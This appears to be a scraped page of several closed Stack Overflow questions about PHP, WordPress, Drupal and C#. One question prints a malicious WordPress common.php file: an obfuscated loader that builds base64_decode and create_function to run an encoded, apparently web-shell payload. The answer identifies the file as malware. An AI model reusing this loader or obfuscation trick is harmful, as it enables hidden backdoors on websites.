It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
I want to download some files programatically from a remote server.
If you can write the code-snippet in VB, VB.NET, Java, or PHP I can try to solve the rest by myself.
Sample file address:
www.example.com/file1.pdf
www.example.com/file2.pdf
www.example.com/file%20n-1.pdf
It will be helpful if you give solutions to this problem in PHP so I can test in WAMP.
In VB.NET, WebClient makes this trivial:
new WebClient().DownloadFile(url, filename)
In Java, you may use java.net.URL and java.net.URLConnection class methods.
SO Thread - How to download and save a file from internet using Java.
PHP example
<?php
$files = array('file1.pdf', 'file2.pdf', 'filen.pdf');
$remoteBase = 'http://www.site.com/';
$localBase = 'downloads/';
foreach( $files as $f ) {
$fp = fopen($remoteBase.$f, 'rb');
if ( !$fp ) {
echo 'error, ', $f, "\n";
}
else {
file_put_contents($localBase.$f, $fp);
fclose($fp);
}
}
Related
I am having issues with one of my wordpress sites. (constantly login out users and not letting people log in)
My hosting think the route is the common.php files (/public_html/wp-content/common.php )
Can anyone shed any light on what the files is actually doing? Can I just delete it and will WordPress generate a new file?
common.php code:
<?php
$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnZGU0OTA5YzUxZWZiNjZlNTgwYzMyZTk5NTFlZGI1ZG
*I've had to cut out a lot of the code here as it was over the character limit (abot 90,000!!)
J10gPSAkZGVmYXVsdF9hY3Rpb247CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKZXhpdDsKCg==";
$array_name = "";
foreach([4,29,34,38,42,9,21,7,38,17,37,7,38] as $t){
$array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();
Thanks in advance
Rich
Delete the file.
It is not a part of the WordPress install or uprade package. I would assume that the file is malicious and that your hosting account/personal machine/login credentials have been compromised or something like that.
This is the standard support doc referred to in this case: https://codex.wordpress.org/FAQ_My_site_was_hacked Then once your site is clean:
http://codex.wordpress.org/Hardening_WordPress
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
I am using wordpress 3.5, I create a custom post type called order with title supports only.
Now i want that when this order will publish the title text will be order-#ID , (here ID will be the post ID that going to be publish) nothing else if user write something in title it will not publish it just save with value like order-#23 .
Another thing is any other way to hide title input (i don't wanna show title and editor) but save its value when it publish as like order-#265.
You could hook it at save_post and then update the database to reflect the change in title.
Note that I didn't test the code but it should be something like that:
function save_title( $post_id ){
global $wpdb;
$wpdb->update( $wpdb->posts, array( 'post_title' => 'order-#' . $post_id ), array( 'ID' => $post_id ) );
}
add_action( 'save_post', 'save_title');
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
I installed this theme to a new Wordpress site and now I'm getting this error on my home page:
Warning: Missing argument 2 for wpdb::prepare(), called in /home/content/63/10275663/html/wp-content/themes/welcome_inn/library/tfuse_framework/functions/core.php on line 21 and defined in /home/content/63/10275663/html/wp-includes/wp-db.php on line 990
This is theme I installed: http://themefuse.com/wp-themes-shop/welcome-inn/
How can I resolve this?
Let's dissect the warning message. Three things to note; first, the function generating the warning (wpdb::prepare), second, where the error occurs (core.php) and the line reference. Let's take a look at the documentation for the wpdb class.
Here's the WPDB class on the codex. Searching through here, you'll see that the prepare() method does exactly that - prepares the query. Looking through the documentation, you'll see a very important line.
Please note: As of 3.5, wpdb::prepare() enforces a minimum of 2
arguments.
Ok, there's your error. Here's a link with more information.
Without going any further, I can almost guarantee that this theme hasn't been updated for 3.5. My suggestion to you would be to create a child theme and making an adjustment to the file at the line mentioned in the warning message. Going through the link, you'll see that prepare() works like sprintf so the change should be pretty insignificant. Here's an example:
$wpdb->prepare( "SELECT * FROM table WHERE id = $id" );
Would turn into:
$wpdb->prepare( "SELECT * FROM table WHERE id = %d", $id );
That should get you sorted out. Just a reminder, don't edit the plugin files directly. That may break your ability to upgrade the theme in the future.
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
I could not find a very proper title for my problem.
I have been trying to incorporate a beautiful search bar(http://loopj.com/jquery-tokeninput) in my drupal website. For this to happen I need to create a php callback function, that should be like: www.mysite.com/search/callback?q=var1.
This is a prerequisite and I cannot do otherwise. However, in drupal you set up the Urls in similar to www.mysite.com/search/callback/var1.
Is there a way to achieve the first one in Drupal?
Thanks :-)
EDIT-1:
What I have already done is :
$items['search/callback'] = array(
'title' => 'Search for String',
'description' => 'callback function for search bar',
'page callback' => 'search_callback',
'access callback' => TRUE,
'type' => MENU_CALLBACK,
)
I can recomend you to explore full example for jQuery UI Autocomplete taxonomy terms here: http://xandeadx.ru/blog/drupal/526. It's originally written in Russian but you can easily read code listings and download packed project. I think you can use the same idea of module.
Some notes:
You can't use q get param for your purpose because it is used by Drupal internally. In jQuery Tokeninput you can set another name of param with queryParam option.
I recommend to check any $_GET param with check_plain().
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
I want build a library function so that when my text comes from database that function filter that text.
Ex : string message= " Hello, world";
so my one function will change the text hello to hi
and another function will change the world to global.
This filter only work if there is any function in my class.
I need this to do in asp.net c#. Is any one have the idea how to do this.
Its not quite clear what you trying to achieve.
But I think you want to do something like this...
var s = YOUR STRING
string[] wordslist = s.Split(' ');
foreach (var word in wordslist )
{
switch (word )
{
case "Hello":
word= word.replace(word,'Hi');
case "World":
etc.....
}
}
I think it will be much easier if you can create database table which hold pair of values.
eg
tblReplace
OldValue NewValue
Hello Hi
World global
So you can do a search for each character with against the OldValue field and if found, you can replace the word with new value..
Hope this helps